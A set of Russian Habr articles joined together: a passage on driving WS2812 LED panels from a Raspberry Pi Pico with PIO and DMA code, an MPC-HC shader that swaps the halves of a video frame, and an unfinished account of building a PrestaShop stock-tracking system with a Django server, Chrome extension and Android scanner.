режиме переливался всеми цветами тускленький светодиодик, по-разному индицирующий разные события — это как раз та микросхема и работала. Адресуемые светодиоды — это, конечно, совершенно другое. Просто цепь светодиодов, которыми можно управлять по одному проводу. ![](https://habrastorage.org/r/w1560/webt/8z/2s/ea/8z2seavffklaeyvjf5wyngnh1tc.png) Очевидный недостаток — если один светодиод умирает — то все, что следуют за ним, перестают светится тоже. Вы наверняка такую ситуацию видели на рекламных дисплеях. Картинка ниже не надерганная из интернета, это один из наших дисплеев сдох. ![](https://habrastorage.org/r/w780q1/webt/wl/9d/a2/wl9da2uhhwmk8jin1y36k37s3sk.jpeg) В WS2813 эта проблема до какой-то степени решена с использованием двух линий данных — одна от выхода предыдущего светодиода, а вторая — от его входа. Если от выхода ничего нет — считаем, что предыдущий светодиод сдох и используем сигнал от его входа с задержкой на 1 пиксель. В итоге на экране будет одна неработающая точка — терпимо. Но если подряд умрет 2 светодиода — то погаснет вся линия. ![](https://habrastorage.org/r/w1560/webt/-u/lb/nc/-ulbnctl9mfbhxnnf1m-ckqe2go.png) Ставить конденсатор и резистор около каждого светодиода — головная боль. Но у производителя есть решение — светодиод со встроенным резистором и конденсатором. Но тут другая головная боль — как узнать при заказе, есть внутри конденсатор или нет? На названии светодиода наличие конденсатора никак не сказывается. Светодиоды размером 2020 с высокой вероятностью будут иметь конденсатор внутри. ![](https://habrastorage.org/r/w1560/webt/ku/qc/sz/kuqcszcgyapab3yzqjckwx5muai.png) Для программирования каждого пикселя нужно 24 бита — 8 бит на цвет. Управление яркостью производится с помощью ШИМ с частотой 2 кГц. ![](https://habrastorage.org/r/w1560/webt/f6/rz/pz/f6rzpzwqfww6x-bqyyirl7o_xdk.png) Светодиоды обычно бывают с двух типов по току — около 15-18 мА на светодиод или 5-7 мА. Для дисплеев 5мА подходят лучше, 15мА — слишком ярко. Приходится убирать лишнюю яркость за счет ШИМ. В итоге от 8 битов на цвет остается 6-7. Плюс человеческое зрение логарифмическое, а регулировка линейная. Для того, чтобы не искажать цвета при снижении яркости, необходимо использовать гамма-коррекцию. ![](https://habrastorage.org/r/w780q1/webt/-j/lo/qn/-jloqnwk58lujcp6_7nc37wkh0c.jpeg) От цветовой разрешающей способности вообще ничего не остается. ![](https://habrastorage.org/r/w1560/webt/8y/hi/cf/8yhicfzrzdd8aecpxsjujmleykq.png) Недавно эта проблема была решена дико избыточно. Появились новые светодиоды — WS2816. У них уже 16 бит на цвет, частота ШИМ 10 кГц и впридачу ко всему встроенная гамма-коррекция. Но получается, что загружать их можно в 2 раза медленнее — при прежней скорости обмена передать уже нужно 48 бит вместе прежних 24. Если было бы 10 бит на цвет со встроенной коррекцией — меня лично это устроило бы гораздо больше. Еще одна проблема со светодиодами. Не знаю, обращали вы внимание или нет, но очень часто в холодную погоду изображение на рекламных дисплеях слегка краснеет. Дело в том, что световая отдача светодиодов зависит от температуры. И зависимость разных светодиодов разная. Зеленые и синие имеют более-менее одинаковую зависимость, а красные сильно другие. Если кому интересно, можете [здесь](https://www.ti.com/lit/gpn/lp5520) прочитать, десятая страница. ![](https://habrastorage.org/r/w1560/webt/_v/ot/zr/_votzrqz2zhfuqxn-pvogarfd20.png) Если вдруг соберетесь дисплей такого типа делать — выбирайте адекватного производителя панелей. Вот что пишут в спецификации: ![](https://habrastorage.org/r/w1560/webt/wy/i1/h9/wyi1h9gkjddafp3tbgkgke4kdbi.png) Многие на это внимания не обращают, но это очень серьезно. Из-за влажности могут быть дефекты пайки. А когда последовательно стоит тысяча светодиодов и отказ любого из них приведет к отказу всей панели, причем, не сразу, а через какое-то время — панель придется демонтировать и ремонтировать. Это грустный опыт. Теперь начнем считать. Скажем, мы хотим отображать 30 кадров в секунду. Значит, у нас есть время для загрузки линии 33.3 мсек. Частота сигнала для светодиодов — 800кГц. Для одной точки нужно 24 импульса — по 8 на каждый цвет. На загрузку пикселя уходит 30 микросекунд. Значит, за время отображения кадра можно загрузить 1111 пиксель. С учетом возможных временнЫх допусков, реально я использовал в линии до 1300 светодиодов. Если используем готовые панели 16х16 точек — можно подключить к одной линии до 5 панелей — 1280 светодиодов. Можно и 4-мя ограничиться — будет 1024 точки. Теперь поговорим про управление. Я с товарищем несколько лет назад делал систему управления такими дисплеями. Самый большой был вморожен в лед, размер — 9 на 9 метров, но разрешающая способность довольно низкая — 288х288 пикселей. Были дисплеи меньше размерами, но с бОльшим разрешением. Каждый микроконтроллер управлял или 8 или 16 линиями светодиодов, одновременно работало несколько контроллеров. Самый тяжелый случай был — 14 контроллеров по 8 линий. Но это была разработка на заказ, поэтому дополнительной информации по ней не будет. Кое-что без деталей реализации можно почитать здесь: [Большой дисплей. Замороженный проект.](https://habr.com/ru/post/591119/) ![](https://habrastorage.org/r/w780q1/webt/cg/wk/vx/cgwkvxljpogscpcytgfxusr_mwc.jpeg) Мне захотелось попробовать сделать управление дисплеем на 5-баксовом Raspberry Pi Pico (двухядерный Cortex-M0+ RP2040), из-за наличия возможности программирования машины состояния управления вводом-выводом на собственном ассемблере. Мне показалось, что реализовать управление таким дисплеем будет не просто, а очень просто. Будем делать систему управления для 16 линий — этого хватит для 20480 светодиодов. Если мало — добавляем микроконтроллеры, благо копейки стоят. Для небольшого рекламного дисплея должно хватить. Не забудьте про блок питания — если у вас светодиоды на 15мА, то понадобится чуть больше 900 ампер — обычной USB зарядки может не хватить :), все-таки почти 5 киловатт. А если взять 5 миллиамперные светодиоды — то каких-то 1.5 киловатт. Если белым светом не злоупотреблять, то мощность можно существенно уменьшить. Код ниже — это самое важное в статье, остальное все — от лукавого и можно не читать. А этот код — это все, что действительно надо, остальное любой разработчик легко сам доделает. Итак, код для PIO: `.define public T1 2 .define public T2 5 .define public T3 3 .wrap_target out x, 32 mov pins, !null [T1-1] mov pins, x [T2-1] mov pins, null [T3-2] .wrap` Все! Забираем из входного регистра данные — до 32 бит, реально надо только 16. Выбрасываем в 16-разрядный порт все единицы и задержка. Выбрасываем на выход содержимое введеное из входного регистра — и задержка. И, наконец, выбрасываем нули и задержка. Все это будет работать абсолютно независимо от процессора и сформирует сигналы управления светодиодом для всех (у нас будет их 16) линий. Вместе с загрузкой программы PIO и настройкой выводов это будет выглядеть так (файл ws2812.pio) `.program ws2812_parallel .define public T1 2 .define public T2 5 .define public T3 3 .wrap_target out x, 32 mov pins, !null [T1-1] mov pins, x [T2-1] mov pins, null [T3-2] .wrap % c-sdk { #include "hardware/clocks.h" static inline void ws2812_parallel_program_init(PIO pio, uint sm, uint offset, uint pin_base, uint pin_count, float freq) { for(uint i=pin_base; i pio_sm_set_consecutive_pindirs(pio, sm, pin_base, pin_count, true); pio_sm_config c = ws2812_parallel_program_get_default_config(offset); sm_config_set_out_shift(&c, true, true, 32); sm_config_set_out_pins(&c, pin_base, pin_count); sm_config_set_fifo_join(&c, PIO_FIFO_JOIN_TX); int cycles_per_bit = ws2812_parallel_T1 + ws2812_parallel_T2 + ws2812_parallel_T3; float div = clock_get_hz(clk_sys) / (freq * cycles_per_bit); sm_config_set_clkdiv(&c, div); pio_sm_init(pio, sm, offset, &c); pio_sm_set_enabled(pio, sm, true); } %}` Идем [сюда](https://wokwi.com/tools/pioasm) и воспользуемся онлайн компилятором. Скомпилированный текст сохраняем в файле ws2812.pio.h ``` // -------------------------------------------------- // // This file is autogenerated by pioasm; do not edit! // // -------------------------------------------------- // #pragma once #if !PICO_NO_HARDWARE #include "hardware/pio.h" #endif // --------------- // // ws2812_parallel // // --------------- // #define ws2812_parallel_wrap_target 0 #define ws2812_parallel_wrap 3 #define ws2812_parallel_T1 2 #define ws2812_parallel_T2 5 #define ws2812_parallel_T3 3 static const uint16_t ws2812_parallel_program_instructions[] = { // .wrap_target 0x6020, // 0: out x, 32 0xa10b, // 1: mov pins, !null [1] 0xa401, // 2: mov pins, x [4] 0xa103, // 3: mov pins, null [1] // .wrap }; #if !PICO_NO_HARDWARE static const struct pio_program ws2812_parallel_program = { .instructions = ws2812_parallel_program_instructions, .length = 4, .origin = -1, }; static inline pio_sm_config ws2812_parallel_program_get_default_config(uint offset) { pio_sm_config c = pio_get_default_sm_config(); sm_config_set_wrap(&c, offset + ws2812_parallel_wrap_target, offset + ws2812_parallel_wrap); return c; } #include "hardware/clocks.h" static inline void ws2812_parallel_program_init(PIO pio, uint sm, uint offset, uint pin_base, uint pin_count, float freq) { for(uint i=pin_base; i ``` Теперь в основной программе инициализируем DMA — все будет работать автоматом, безо всякого участия процессора. Я использовал Platformio для компиляции. ``` #include #include "ws2812.pio.h" #include "hardware/dma.h" #include "hardware/pio.h" #define LEDS\_IN\_STRING 1280 #define DMA\_CHANNEL 0 uint16\_t DataArray[LEDS\_IN\_STRING\*24]; // 30720 void dma\_init(PIO pio, uint sm) { // (X/Y)\*sys\_clk, where X is the first 16 bytes and Y is the second // sys\_clk is 125 MHz unless changed in code // we need 800 kHz - divider 156.25 x=4 y=625( 0x271) dma\_hw->timer[0] = 0x00040271; dma\_channel\_config c = dma\_channel\_get\_default\_config(DMA\_CHANNEL); channel\_config\_set\_dreq(&c, 0x3b); // 0x3b -> Select Timer 0 as TREQ channel\_config\_set\_transfer\_data\_size(&c, DMA\_SIZE\_16); channel\_config\_set\_read\_increment(&c, true); channel\_config\_set\_write\_increment(&c, false); dma\_channel\_configure( DMA\_CHANNEL, // Channel to be configured &c, // The configuration we just created &pio->txf[sm], // The initial write address NULL, // The initial read address - set later LEDS\_IN\_STRING\*24, // Number of transfers; false // Start immediately? ); } void setup() { PIO pio = pio0; int sm = 0; uint offset = pio\_add\_program(pio, &ws2812\_parallel\_program); ws2812\_parallel\_program\_init(pio, sm, offset, 0, 16, 800000); dma\_init(pio, sm); // здесь заполните буфер чем-нибудь сами } void loop() { dma\_hw->ch[DMA\_CHANNEL].al3\_read\_addr\_trig = (uintptr\_t) DataArray; delay(50); } ``` В реальном времени использовать такой дисплей вряд ли получится. Никакого входа для видео тут нет. Отображаемые данные нужно подготовить заранее, вытащив данные из изображения, учесть место расположения каждой точки — здесь у нас не как в телевизоре — строка за строкой. ![](https://habrastorage.org/r/w1560/webt/ev/b9/ug/evb9ugzn4s0bruhy4thdkxnpywi.png) Если есть видео — его надо разложить по кадрам. При необходимости добавить переходные эффекты по вкусу. У меня этим занимается написанная на Python программа — но это уже выходит за рамки статьи, иначе она никогда не кончится. ![](https://habrastorage.org/r/w1560/webt/ti/rl/xr/tirlxr5jv43yfzad1gnivoliafu.png) Раньше у меня была проблема — в гараже стояло несколько больших светодиодных панелей, место занимали. Не так давно все-таки удалось их отдать хозяевам. Естественно, спустя небольшое время такая панель понадобилось. Пришлось заказать пару дешевых панелей на Али. Размер 16х16, итого 256 светодиодов. За 10 евро неплохо — всего 4 цента за точку и паять ничего не надо. Я как-то покупал готовые ленты — там цена вообще получалась 3 цента за светодиод. Сколько отдельно стоят светодиоды в небольших партиях (в районе 100 тысяч штук) — я точно не знаю, заказывал не я. Думаю, что в районе 2 центов. ![](https://habrastorage.org/r/w1560/webt/dc/mx/gs/dcmxgsdpgae5jxojfxp4wbjbukk.png) К платке Raspbery Pi Pico понадобилось подключить только SD карточку. По хорошему, на выход нужно ставить преобразователь уровня в худшем случае или драйвер дифференциальной линии в лучшем. Но для теста программного обеспечения и так сойдет. ![](https://habrastorage.org/r/w780q1/webt/gg/t5/zp/ggt5zpy8cot3gnftnzsz0d2l77i.jpeg) Новая система управления в окружении предшественников: ![](https://habrastorage.org/r/w780q1/webt/ed/a3/_0/eda3_0qxpyhhzya4d0wvofibisu.jpeg) Совершенно случайно нашелся ~~рояль в кустах~~ старый переделаный источник питания, он может 60 Ампер по 5 Вольтам выдать. А двум панелям в динамике 10 ампер хватает. Системы выглядит даже как-то убого: ![](https://habrastorage.org/r/w780q1/webt/cr/gt/vj/crgtvjldzygml2rgmbtyd0b6epi.jpeg) Две панели — 512 точек. Панель реально маленькая для такой системы управления — на каждую линию можно подключить до 5 таких панелек, имеем 16 линий — итого 80 панелей. А у меня всего 2 :( — только попробовать хватит. Вот что получилось: ![](https://habrastorage.org/webt/f3/zd/ia/f3zdia1wp-h813-1al6iuwmzrpw.gif) Как я говорил, яркость избыточна. Видео снималась в ярко освещенной комнате, изображение просто по глазам бьет яркостью. А камера воспринимает, как съемку в темноте. Готовые панели выходят дешевле, но если монтировать дисплей в окно, лучше сделать свои, со множеством отверстий. Тогда помещение не превращается в темнушку, изнутри выглядит примерно как жалюзи. ![](https://habrastorage.org/r/w1560/webt/lp/s6/z0/lps6z0ybsz7ihqy3islhw8tlucm.png) Видео с одним из старых дисплеев: В моей старой системе данные, кадр за кадром, гонятся по проводному Ethernet. Сейчас я попробовал скопировать блок данных на SD. Вылезла обычная ардуиновская проблема — все работает абы как. Быстро чтение данных не работает, я не могу считывать 30 кадров в секунду. Все можно переделать — когда я делал оригинальную систему, то тоже использовал Ethernet библиотеки, заимствованные из Ардуино. Ethernet работал, но очень медленно. Пришлось весь код перерывать — ошибки нашлись в очень мелких деталях. Сейчас копать библиотеки просто не хочется, да и нужды нет. Я хотел проверить только, как вывод на светодиоды работает, функционирующее изделие никому не нужно. «Будет хлеб — будут и песни» — как говорил дорогой Леонид Ильич. Ну господь с ней, с Ардуиной. Есть же компания, которая продвигает этот проект. Должна же быть у Raspberry поддержка SD карт в их SDK. Как бы не так, как они пишут: > The pico\_sd\_card code is SDIO only at the moment. It is not really yet in shape for prime-time unless you are feeling brave. Файловой системой там даже не пахнет — сам прикручивай. Нет, я не трус, но я боюсь. Бежать впереди паровоза — не самое благодарное занятие. Мне не к спеху, подожду, пока они допилят свои библиотеки. Или для Ардуино кто-то допилит, на что надежда очень маленькая. Какая-то библиотека есть, а для большинства применений достаточно и низкой скорости доступа.
https://habr.com/ru/post/694598/
null
ru
null
# Редактирование видео в MPC с помощью шейдеров **Есть задача:** Изменить видео “на лету” при воспроизведении — поменять местами правую и левую часть. Не отразить, а именно поменять, т.е. разрезать картинку на две части и поменять их местами. Можно, конечно, сделать с помощью фреймсервера типа [AviSynth'a](https://habr.com/search/?q=avisynth#h), но это уже не совсем “на лету” — надо писать скрипт для каждого видео файла. Хочется сделать это быстро и без напрягов. **На фига?** Чтобы сделать [курс лекций по машинному обучению](https://yandexdataschool.ru/edu-process/courses/machine-learning) от Яндекса более удобным для просмотра. Лектор указывает на пункты презентации вживую, и приходится постоянно перескакивать через весь экран взглядом, чтобы понять, о чём речь: ![image](https://habrastorage.org/r/w1560/webt/52/hb/tj/52hbtjeqa2lnehyo9cx_lr4owb8.png) ### Решение Используем инструмент шейдеров, доступный в [Media Player Classic](https://mpc-hc.org/). В стандартном комплекте есть несколько готовых шейдеров для правки изображения — “Emboss”, “Grayscale”, “16-235 to 0-255” и тому подобные. Нужного нам там нет, поэтому создаём новый шейдер (небольшая программа на языке [HLSL](https://en.wikipedia.org/wiki/hlsl)): ``` sampler s0 : register(s0); float4 main(float2 tex : TEXCOORD0) : COLOR { // swapLine 0.5 = in the middle float swapLine = 1082.0 / 1920.0; tex.x = (tex.x + swapLine) % 1.0; float4 c0 = tex2D(s0, tex); return c0; } ``` Сохраняем его в папку **\Shaders** медиаплеера (например, C:\Program Files\MPC-HC\Shaders) под именем **Shift.hlsl**. Далее заходим в настройки Media Player Classic (**Options/Playback/Shaders**) и добавляем новый шейдер **Shift** в список **Active pre-Resize shaders**. Данный способ обработки видео не нагружает CPU, так как вся работа производится силами графической карты, во всяком случае, если она реальная, а не эмулированная. #### Что это, Бэримор? Это пиксельный шейдер, который должен выдать на выходе цвет точки в зависимости от координат, которые передаются через параметр ***tex***. Переменная ***s0*** содержит текстуру с текущим кадром видео. Новая горизонтальная координата вычисляется как остаток деления по модулю 1 от суммы текущей координаты и сдвига ***swapLine***. Таким образом мы сдвигаем точку вправо и переставляем её в левую часть, когда она выходит за габариты. И наконец, команда ***tex2D(s0, tex)*** возвращает цвет точки с нужной координатой из исходного кадра. ### P.S. * Классная статья по шейдерам, здесь же, на Хабре: [«Создание шейдеров»](https://habr.com/post/333002/). * Хорошая подборка шейдеров для MPC лежит на [github.com/dinfinity/mpc-pixel-shaders](https://github.com/dinfinity/mpc-pixel-shaders)
https://habr.com/ru/post/434856/
null
ru
null
# Как я уместил систему управления товарами на сайте Presta Shop в пяти кнопках Внимание!Прочитав статью, может сложиться впечатление, что я люблю БДСМ или что-то такое, но это вам только кажется. #### Проблемы в работе магазина Я работаю в обычном велосипедном магазине в центре Варшавы. Торгуем как стационарно, так и в интернете. Среднее количество купленных велосипедов за день ~2 на весь год. При этом пик продаж приходится на лето и тогда в день можем иметь по ~17 интернет-заказов и столько же в магазине, а зимой не продавать вообще ничего. В 2020г. в связи с пандемией COVID, спрос на велосипеды вырос до невероятных показателей, а мы, как порядочная контора, начали расширение. Это привело к тому, что в конце прошлого сезона, заказы только несуществующих велосипедов участились в среднем до 4-х раз в неделю на протяжении 4-х самых продуктивных месяцев. А это ~16 несоответствий на сайте в месяц (не считая фейлы в магазине). ![Анулированные заказы](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c09/a5d/410/c09a5d4107928a3f61a94c500ccf47d8.png "Анулированные заказы")Анулированные заказыВ текущем году, с появлением еще одного большого склада, ситуация ухудшилась и теперь, кроме несуществующих велосипедов добавились и те, которые находились не там и привезти их клиентам в срок часто бывало невозможным. В конце концов, чтобы как-нибудь унять этот хаос мне было поручено создать EXСEL, куда впишутся все велосипеды со складов, чтобы примерно знать их расположение. Конечно же, я наплевал на таблицу. Хотя бы потому что при нынешней текучке продуктов она потеряет смысл недели через 2 и станет полностью неактуальной спустя 2-3 больших поставки. #### Управление продуктами удаленно Включение расширенного запаса продуктами не особо помогло. Да, все продукты теперь были на своих складах, но, по сути – это та же таблица, которая не будет обновляться без вмешательства. Нужен был сканер. Портативный сканер, который подключается к интернету, считывает штрих-коды и отправляет их на сервер для обработки. И за все это не придется платить. Если разобраться, то ничего сложного нет. Набросаем примерную схему: ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/107/664/637/107664637aeda49ddabdbb50ab0482d2.png)Теперь имеем примерный план действий и можно приступать к ~~разработке~~, чтению документаций. #### Компоненты Всю систему получилось разделить на три основных части: 1. Небольшая Python библиотека для взаимодействия с API PrestaShop; 2. Приложение, сканер штрих-кодов, для отслеживания перемещения товаров между складами. Ну чтоб не вписывать все каждый раз вручную; 3. Расширение Chrome для автоматического снятия проданного велосипеда во время выставления гарантийной карты. Да, на работе все время использовался только Chrome. Все запросы проходят через некий middle-сервер, который и связывается с сайтом для взаимодействия. Теперь обо всем вкратце и по порядку. #### Главный модуль для работы с API PrestaShop Способов взаимодействия с API PrestaShop на Python не так много, наверное, потому что PS занимает только 5% рынка (а версия 1.6 и того меньше). Нашлась всего одна полноценная библиотека— prestapyt, что само по себе большая редкость для Питона. Возможно, она сэкономила бы мне пару ночей, но попробовать свое решение хотелось не меньше чем быстрее это запустить. Так как выбора особо и не было, а заняться было нечем, я приступил к анализу API, документациям и изучению работы PS. Спустя пару дней создался скрипт, который имел в себе самые базовые функции типа поиска продуктов и изменение их количества, да и работал умеренно быстро. Его функций оказалось вполне достаточно, чтобы управлять количеством, и даже больше! Теперь я мог получить доступ к практически любой точке сайта и анализировать то, что мне хотелось. [Код на Git](https://github.com/palachintosh/PrestaRequest.git) #### Алгоритм поиска продукта по комбинациям Каждый велосипед в нашем интернет-магазине имеет несколько комбинаций, характеризующие размер рамы велосипеда. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7a1/b22/c42/7a1b22c421eaf6c25b3244df7380f91e.png)Соответственно, для идентификации количеств необходимо получить ссылку на комбинацию, а уже потом манипулировать с ее количеством. Исходя из этого получился следующий алгоритм: 1. Получаем ссылку на комбинацию используя фильтр по reference коду; 2. Из нужной комбинации — ссылку на карточку продукта; 3. Дальше, из карточки продукта, ссылку на stock\_availables. Получится некий массив ссылок; 4. Проходим циклом по всех ссылках в associations и ищем ту же комбинацию. 5. Получаем ссылку на стоки, проверяем наличие и, если оно > 0 — удаляем единицу товара. Если нет – выкидываем предупреждение, что товар закончился. 6. В завершение отправляем отредактированный XML на тот же адрес stock\_availables, из которого это все и было получено. Похоже на такую себе рекурсию от комбинации аж до общего количества. Плюсы такого подхода в том, что можно попутно захватить еще какие-то данные, скажем модель велосипеда или проверить параметры продукта. #### Взаимодействие с API Доступ к главной странице начинается со ссылки вида <https://domain.com/api>. Здесь можно посмотреть, какие разделы доступны авторизованному юзеру. А проверяется это попытками найти id раздела – например, тег «products» в теле ответа. Совпадение обозначает, что раздел доступен конкретному ключу. Общение через API происходит на языке XML, а схемы запросов выглядят примерно так: ``` ``` Следующий сегмент ссылки - это название раздела. Пример получения продуктов <https://domain.com/api/products>: ``` ``` Отобразятся ссылки на карточки продуктов. Для формирования и непосредственной отправки запросов скрипт использует **requests**. Удобная штука, хоть и работает относительно медленно Requests — потому что я работал с ней раньше, она хорошо документирована и с ней просто приятно иметь дело. #### Авторизация API PS использует Basic авторизацию только по ключу (без пароля). Поэтому запрос получается до невозможности прост. Логин средствами requests: ``` request_url = «https://domain.com/api» get_combination_xml = requests.get(request_url, auth=(self.api_secret_key, '')) ```  Получаем ответ 200, и тело ответа, содержащее всю страницу в XML. Теперь можно распарсить ее на отдельные теги и поискать нужные значения в них. #### Парсинг XML ответа Здесь ситуация выглядела лучше – нашлась библиотека xml.etree. Отлично документированный инструмент, который через пару минут после импорта уже выдает все, что нужно (а много и нужно), а работать с целым телом ответа можно так же, как и с обычным словарем Python. Достанем ссылку на подкатегорию из полученного ответа: ``` # Импортируем все необходимое в 2 строчки from xml.etree import ElementTree as ET from xml.etree.ElementTree import ElementTree # Экземпляр xml.etree def xml_data_extractor(data, tag): # data – XML данные # tag = products– тег для поиска в дереве try: xml_content = ET.fromstring(data.content) # Экземпляр класса ElementTree. Принимает строку в качестве аргумента. В моем случае тело ответа. general_tag = xml_content[0] # Получаем родительский тег – он всегда первый tag = general_tag.find(tag) # Ищем заданный тег tag_inner_link = tag.get('{http://www.w3.org/1999/xlink}href') # Ищем ссылку в теге # Так же можно искать подстроку href в каждом ключе и получать  значение после совпадения   # Возвращаем внутреннюю ссылку в виде словаря product_meta = {'product_link': tag_inner_link} return product_meta except: return None ```  Результат: <https://domain.com/api/products>. Все просто, но работает. Большинство функций возвращают None в блоке except и словарь в блоке Try. Не знаю, хорошо ли это, но знаю, что это можно улучшить, чтобы не было такого разброса типов. #### Фильтры поиска PS PS предоставляет фильтры для уточнения поиска. По сути, каждый фильтр – это данные для полноценного SQL запроса. Именем фильтра может быть любой тег из XML дерева страницы, а значением — его предполагаемое значение, очевидно. Ссылка для запроса с фильтром для комбинаций выглядит так: `https://domain.com/api/combinations/?filter[reference]=reference`, где reference — код искомого продукта. Сам код - это штрих-код, наклеенный на коробке и выглядит примерно так: KRHE1Z26X14M200034.  Дальше идут некоторые специфические функции и приватные методы, которые более подробно описаны в документации. Да! У этого куска кода есть документация на Git: #### Структура «библиотеки» Весь модуль содержит только один класс (хоть это и не читаемо, изначально я хотел работать только с общим количеством). В конструкторе кодируется в base64 секретный ключ, определяется путь до директории скрипта, создается константа времени и другие переменные, необходимые для работы с логами: ``` def __init__(self, api_secret_key, request_url=None, **kwargs): try: self.api_secret_key = str(api_secret_key) #!API key is necessary! self.api_secret_key_64 = base64.b64encode((self.api_secret_key + ':').encode()) except: raise TypeError('The secret_key must be a string!') # Main path to working directory self.base_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) self.request_url = request_url self.kwargs = kwargs.items() #product meta to return self.name = None self.total_quantity = None self.w_from = None self.w_to = None self.date = str(datetime.datetime.now().strftime("%d-%m-%Y, %H:%M")) ``` Далее идут приватные методы: \_xml\_data\_extractor(), \_wd() и даже кастомный \_logging(), который пишет все совершенные операции вне зависимости от результата. Можно задать свое имя лог-файла. Затем — стандартные методы. Всего 11. Каждый отвечает за свою ссылку. Здесь, собственно, и происходит все вышеописанное. #### Обработка запросов и middle-сервер Для взаимодействия приложения и расширения со скриптом из любой точки мира магазина нужен был сервер c поддержкой Python. Сначала это выглядело как проблема, но я кое-что попробовать. Поднять WSGI-сервер на хостинге, конечно же! Все даже получилось, однако, так как все это должно работать в реальном магазине то я побаиваюсь грубого взлома и использовать свою писанину для обработки входящих запросов было просто страшно. Однако, нашлось еще более скостылизированное решение. У меня есть блог, запущенный на Django, а если посмотреть под другим углом — отличный middle-сервер, способный обрабатывать множество запросов и уже настроен и готов к работе. Создав еще одно приложение, подключил библиотеку, настроил какой-никакой контроль доступа к странице и вот он тестовый запуск. ![Невалидный запрос](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c86/dd4/fcc/c86dd4fccc6021e132791131eaebf4b3.png "Невалидный запрос")Невалидный запросОтлично! Запрос по ссылке `https://palachintosh.com/xxx/xxx/`? (без параметров) обработался и выдал результат об ошибке, так как нет ни токена, ни номера рамы. Просто пустой запрос. Пробуем запрос с параметрами `/?code=1122334455&token=IUFJ44KPQE342M3M109DNWI` (код тестового продукта): ![Пример успешного запроса](https://habrastorage.org/r/w1560/getpro/habr/upload_files/937/43a/f60/93743af60463fbb859863a3ff2af3290.png "Пример успешного запроса")Пример успешного запросаВернулся словарь success – значит, запрос обработался, количество продуктов уменьшилось и на складе, и в доступных для продажи, все записалось в лог-файл и вообще работает. Уже можно слать запросы с реальными номерами рам. #### Контроль доступа За доступ к этому всему отвечает специальный токен, генерирующийся на сервере рандомайзером, и, к сожалению, вручную вписывается в файл и расширение. В будущем я хочу подключить стандартную авторизацию Django или вообще использовать Django REST. Но пока что испытываю проблемы с Java и нехваткой времени для изучения Retrofit, поэтому использую ключи. Логика проста – токен совпадает – продолжаем операцию. Токен не совпадает – прерываем транзакцию еще на начальном этапе как-то так: ``` token = None with open(‘token.txt’) as file_t: token = file_t[0] if token == str(request.GET.get(‘token’)): //Вызываем обработчик return JsonResponse({‘Error’: ‘Invalid token’}) ``` В теории это должно защитить страницу от ботов и непрошеных гостей, не более, хоть и сама идея хранения токена в файле на сервере ни к чему доброму не ведет. #### Расширение Chrome и первые две кнопки Расширение содержит набор функций для определения нужной страницы, отправки запроса, стилизации некоторых окон и т.д. Положение определяет интервал, который слушает изменение ссылки в браузере и если находит совпадение передает управление функции получения данных из формы. После подтверждения в диалоговом окне формируется и отправляется запрос. Запросы шлются методом XMLHttpRequest. Самым сложным этапом оказалась работа с политикой CORS. На сервере пришлось добавить отдельную функцию, которая добавляет заголовки Access-Control-Allow-Origin. Без него, в случае кроссдоменных запросов срабатывает защита и сразу сбрасывает соединение еще на этапе запроса OPTIONS. Проблема решилась определением во views.py функции def options(self, request). Она просто проверяет заголовки и отдает допустимые заголовки для совершения полноценного GET запроса. По итогу получилось вместить отправку одной формы и вывод диалогового окна в менее чем 100 строчках корявого кода, бОльшая часть которых это установка обработчиков на существующие кнопки. #### Алгоритм расширения Сканера штрих-кодов в магазине нет, но есть кое что получше. Это система выставления гарантийных карт производителя. Работает это примерно так: ![Процесс выставления гарантийной карты](https://habrastorage.org/r/w1560/getpro/habr/upload_files/aa1/d40/3b5/aa1d403b5664e9fdd6517f904d0bf600.png "Процесс выставления гарантийной карты")Процесс выставления гарантийной картыЕсли вписать существующий номер рамы, то все поля заполнятся данными из реестра на стороне производителя. В поле «Kod roweru» появится тот самый код, который характеризует все одинаковые велосипеды. Ну а дальше все просто – получаем значение поля и скармливаем его библиотеке PrestaRequest на сервере. Пускай он разбирается, что и откуда снимать. Чтобы определить все поля и добраться до формы того самого поля «sku» пришлось немного подраться с частями страницы, которые подгружаются с помощью ajax после ввода номера рамы. По началу это было проблемой, потому что я не умею перехватывать ajax запросы в расширении. Поэтому заменил перехватчик обычным интервалом. ``` var interval; function main_interval() {     clearInterval(interval); interval = setInterval(function () {         href = window.location.href         if (href.indexOf('https://24.kross.pl/warranty/new') >= 0 ||             href.indexOf('id_product=') >= 0) {             if (href.indexOf('id_product=') >= 0) {                 prestaCheck();                 clearInterval(interval);             }             if (href.indexOf('https://24.kross.pl/warranty/new') >= 0) {                 location.reload();                 get_buttons();             }         }         if (href.indexOf('https://24.kross.pl/bike-overview/new') >= 0) {             clearInterval(interval);             check_all();         }     }, 1000); } ``` Конечный код получения данных формы выглядит так: ``` // onclick or enter events function getFormData() { var getForm = document.forms[0]; if (getForm != null) { if (getForm.hasChildNodes("sku") && getForm.sku != null){ var code = String(getForm.sku.value); } if (getForm.hasChildNodes("bike_model") && getForm.bike_model != null) { edit_msg = document.querySelector(".message-container > span > h1"); edit_msg.innerText = "Rower " + String(getForm.bike_model.value) + " zostanie usunięty ze stanów!"; } if (code != null && getForm.serial_number != null) { sendRequest(code); } } } ``` Поле bike\_model нужно исключительно для диалогового окна, в котором напоминается, над каким велосипедом производится операция. Диалоговое окно тоже добавляется на страницу скриптом расширения и выглядит так: ``` var getBodyBlock = document.querySelector('body'); var alert_div = document.createElement('div'); alert_div.innerHTML = '\ \ \ Potwierdzam!\ Zdjąć rezerwację\ Nie teraz\ ``` '; loader = document.createElement('div'); getBodyBlock.appendChild(alert\_div);![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e98/54e/32a/e9854e32a0477233c95172ee828535d6.png)Ссылка на репозиторий: <https://github.com/palachintosh/shop_extension> #### Самая страшная часть – Android-приложение Приложение помогает контролировать миграции продуктов между складами, например, при переносе или доставке. Так как телефон всегда под рукой то можно обновить продукты прямо во время работы на складе. Также есть возможность добавить любое количество товара, если, например, приехали велосипеды только одной модели скажем 50 шт., чтобы не сканировать каждую коробку. Нужно просто считать или ввести код на коробке и отправить серверу. Запросы делаются на разные адреса, так приложение определяет какие операции с присланным кодом проделать. В целом принцип тот же что и у расширения, но другие обработчики и ссылки. #### Работа приложения (ничего интересного) Приложение имеет 3 страницы. Сначала выбираются названия складов и количество переносимого товара, а дальше: * 